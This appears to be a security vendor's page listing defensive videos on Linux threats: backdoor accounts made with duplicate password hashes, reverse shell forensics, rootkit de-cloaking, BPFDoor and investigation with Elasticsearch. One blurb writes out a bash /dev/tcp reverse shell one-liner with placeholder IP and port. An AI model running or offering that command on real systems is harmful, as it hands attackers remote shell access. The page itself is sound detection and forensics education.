Videos
Linux Duplicate User Password Hash Attack
Duplicate password hashes on Linux are a tactic for attackers to drop backdoor accounts in an automated way. In this video we explain what a duplicate password hash attack is, and how you can find it…
Linux Reverse Shell Detection and Forensics
In this video, we cover how to investigate one of our favorite reverse shells on Linux: bash -i >& /dev/tcp/<IP_ADDRESS>/<PORT> 0>&1 This simple command will launch a shell from the victim system to…
Rob Joyce Interview - Linux Critical Infrastructure Threats
Watch as Rob Joyce, former head of the NSA Cybersecurity Directorate, discusses threats against Linux critical infrastructure with Sandfly founder Craig Rowland. This video will help security teams…
De-Cloaking Linux Stealth Malware and Rootkits: sedexp, Diamorphine, and Reptile
In this video we demonstrate Sandfly's new file and directory stealth rootkit de-cloaking feature on the sedexp malware targeting Linux. We also show how it works for the Diamorpine and Reptile…
Evasive Linux Malware Detection Video Presentation (BPFDoor)
Sandfly founder Craig Rowland recently spoke at the Oslo Cold Incident Response Conference on evasive Linux malware. Although talks were not recorded, he made a video of the presentation he gave…
Using Elasticsearch and Kibana to Investigate Suspicious Linux Activity with Sandfly
In this video we’re going to show you how to use Sandfly with Elasticsearch Kibana dashboards to search for and investigate a suspicious process on Linux. We’ll go over Sandfly’s agentless collection…